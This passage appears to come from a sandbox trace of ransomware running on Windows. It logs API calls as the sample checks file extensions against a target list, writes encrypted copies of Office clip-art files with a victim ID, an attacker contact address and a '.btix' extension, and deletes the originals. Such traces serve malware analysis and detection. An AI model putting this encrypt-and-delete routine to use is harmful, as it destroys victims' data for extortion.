(lpString1=".doc", lpString2=".WMF") returned -1 [0150.240] lstrlenW (lpString=".docx") returned 5 [0150.240] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0150.240] lstrlenW (lpString=".pdf") returned 4 [0150.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.240] lstrlenW (lpString=".xls") returned 4 [0150.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.241] lstrlenW (lpString=".xlsx") returned 5 [0150.241] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0150.241] lstrlenW (lpString=".ppt") returned 4 [0150.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.241] lstrlenW (lpString=".zip") returned 4 [0150.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.241] lstrlenW (lpString=".rar") returned 4 [0150.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.241] lstrlenW (lpString=".bz2") returned 4 [0150.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.241] lstrlenW (lpString=".7z") returned 3 [0150.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.241] lstrlenW (lpString=".dbf") returned 4 [0150.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.241] lstrlenW (lpString=".1cd") returned 4 [0150.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.241] lstrlenW (lpString=".jpg") returned 4 [0150.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.242] lstrlenW (lpString=".doc") returned 4 [0150.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString=".docx") returned 5 [0150.242] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0150.242] lstrlenW (lpString=".pdf") returned 4 [0150.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString=".xls") returned 4 [0150.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.242] lstrlenW (lpString=".xlsx") returned 5 [0150.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0150.242] lstrlenW (lpString=".ppt") returned 4 [0150.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.242] lstrlenW (lpString=".zip") returned 4 [0150.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.242] lstrlenW (lpString=".rar") returned 4 [0150.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString=".bz2") returned 4 [0150.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString=".7z") returned 3 [0150.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.242] lstrlenW (lpString=".dbf") returned 4 [0150.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.242] lstrlenW (lpString=".1cd") returned 4 [0150.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.243] lstrlenW (lpString=".jpg") returned 4 [0150.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.243] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.243] lstrlenW (lpString="J0099181.WMF") returned 12 [0150.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.243] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=1198) returned 1 [0150.243] CloseHandle (hObject=0x38c) returned 1 [0150.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 0x220 [0150.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.243] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.243] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.263] GetLastError () returned 0x0 [0150.263] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4ae, lpOverlapped=0x0) returned 1 [0150.340] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4b0, lpOverlapped=0x0) returned 1 [0150.412] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.412] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.412] SetEndOfFile (hFile=0x390) returned 1 [0150.412] CloseHandle (hObject=0x390) returned 1 [0150.412] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.412] SetEndOfFile (hFile=0x38c) returned 1 [0150.413] CloseHandle (hObject=0x38c) returned 1 [0150.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0150.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.414] lstrlenW (lpString=".doc") returned 4 [0150.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.414] lstrlenW (lpString=".docx") returned 5 [0150.414] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0150.414] lstrlenW (lpString=".pdf") returned 4 [0150.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.414] lstrlenW (lpString=".xls") returned 4 [0150.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.414] lstrlenW (lpString=".xlsx") returned 5 [0150.414] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0150.414] lstrlenW (lpString=".ppt") returned 4 [0150.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.414] lstrlenW (lpString=".zip") returned 4 [0150.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.415] lstrlenW (lpString=".rar") returned 4 [0150.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString=".bz2") returned 4 [0150.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString=".7z") returned 3 [0150.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.415] lstrlenW (lpString=".dbf") returned 4 [0150.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.415] lstrlenW (lpString=".1cd") returned 4 [0150.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.415] lstrlenW (lpString=".jpg") returned 4 [0150.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.415] lstrlenW (lpString=".doc") returned 4 [0150.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.415] lstrlenW (lpString=".docx") returned 5 [0150.415] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0150.415] lstrlenW (lpString=".pdf") returned 4 [0150.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString=".xls") returned 4 [0150.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.416] lstrlenW (lpString=".xlsx") returned 5 [0150.416] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0150.416] lstrlenW (lpString=".ppt") returned 4 [0150.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.416] lstrlenW (lpString=".zip") returned 4 [0150.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.416] lstrlenW (lpString=".rar") returned 4 [0150.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString=".bz2") returned 4 [0150.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString=".7z") returned 3 [0150.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.416] lstrlenW (lpString=".dbf") returned 4 [0150.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.416] lstrlenW (lpString=".1cd") returned 4 [0150.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0150.416] lstrlenW (lpString=".jpg") returned 4 [0150.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.417] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.417] lstrlenW (lpString="J0099187.JPG") returned 12 [0150.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.417] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=24528) returned 1 [0150.417] CloseHandle (hObject=0x38c) returned 1 [0150.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0150.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.417] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.417] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.418] GetLastError () returned 0x0 [0150.418] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0150.476] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0150.477] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.477] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.477] SetEndOfFile (hFile=0x390) returned 1 [0150.478] CloseHandle (hObject=0x390) returned 1 [0150.478] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.478] SetEndOfFile (hFile=0x38c) returned 1 [0150.479] CloseHandle (hObject=0x38c) returned 1 [0150.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0150.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.479] lstrlenW (lpString=".doc") returned 4 [0150.479] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.479] lstrlenW (lpString=".docx") returned 5 [0150.479] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0150.479] lstrlenW (lpString=".pdf") returned 4 [0150.479] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.479] lstrlenW (lpString=".xls") returned 4 [0150.479] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.479] lstrlenW (lpString=".xlsx") returned 5 [0150.479] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0150.479] lstrlenW (lpString=".ppt") returned 4 [0150.479] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.479] lstrlenW (lpString=".zip") returned 4 [0150.480] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.480] lstrlenW (lpString=".rar") returned 4 [0150.480] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.480] lstrlenW (lpString=".bz2") returned 4 [0150.480] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.480] lstrlenW (lpString=".7z") returned 3 [0150.480] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.480] lstrlenW (lpString=".dbf") returned 4 [0150.480] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.480] lstrlenW (lpString=".1cd") returned 4 [0150.480] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.480] lstrlenW (lpString=".jpg") returned 4 [0150.480] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.480] lstrlenW (lpString=".doc") returned 4 [0150.480] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.480] lstrlenW (lpString=".docx") returned 5 [0150.480] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0150.480] lstrlenW (lpString=".pdf") returned 4 [0150.480] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.480] lstrlenW (lpString=".xls") returned 4 [0150.480] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.480] lstrlenW (lpString=".xlsx") returned 5 [0150.480] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0150.480] lstrlenW (lpString=".ppt") returned 4 [0150.480] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.481] lstrlenW (lpString=".zip") returned 4 [0150.481] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0150.481] lstrlenW (lpString=".rar") returned 4 [0150.481] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0150.481] lstrlenW (lpString=".bz2") returned 4 [0150.481] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0150.481] lstrlenW (lpString=".7z") returned 3 [0150.481] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.481] lstrlenW (lpString=".dbf") returned 4 [0150.481] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.481] lstrlenW (lpString=".1cd") returned 4 [0150.481] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0150.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0150.481] lstrlenW (lpString=".jpg") returned 4 [0150.481] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0150.481] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0150.481] lstrlenW (lpString="J0099188.JPG") returned 12 [0150.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.481] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=9080) returned 1 [0150.481] CloseHandle (hObject=0x38c) returned 1 [0150.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220 [0150.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.482] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.482] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.482] GetLastError () returned 0x0 [0150.482] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2378, lpOverlapped=0x0) returned 1 [0150.483] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2380, lpOverlapped=0x0) returned 1 [0150.484] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.484] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.484] SetEndOfFile (hFile=0x390) returned 1 [0150.484] CloseHandle (hObject=0x390) returned 1 [0150.485] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.485] SetEndOfFile (hFile=0x38c) returned 1 [0150.485] CloseHandle (hObject=0x38c) returned 1 [0150.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1 [0150.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68 [0150.486] lstrlenW (lpString=".doc") returned 4 [0150.486] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0150.486] lstrlenW (lpString=".docx") returned 5 [0150.486] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0150.486] lstrlenW (lpString=".pdf") returned 4 [0150.486] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0150.486] lstrlenW (lpString=".xls") returned 4 [0150.486] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0150.486] lstrlenW (lpString=".xlsx") returned 5 [0150.486] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0150.486] lstrlenW (lpString=".ppt") returned 4 [0150.486] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0150.486] 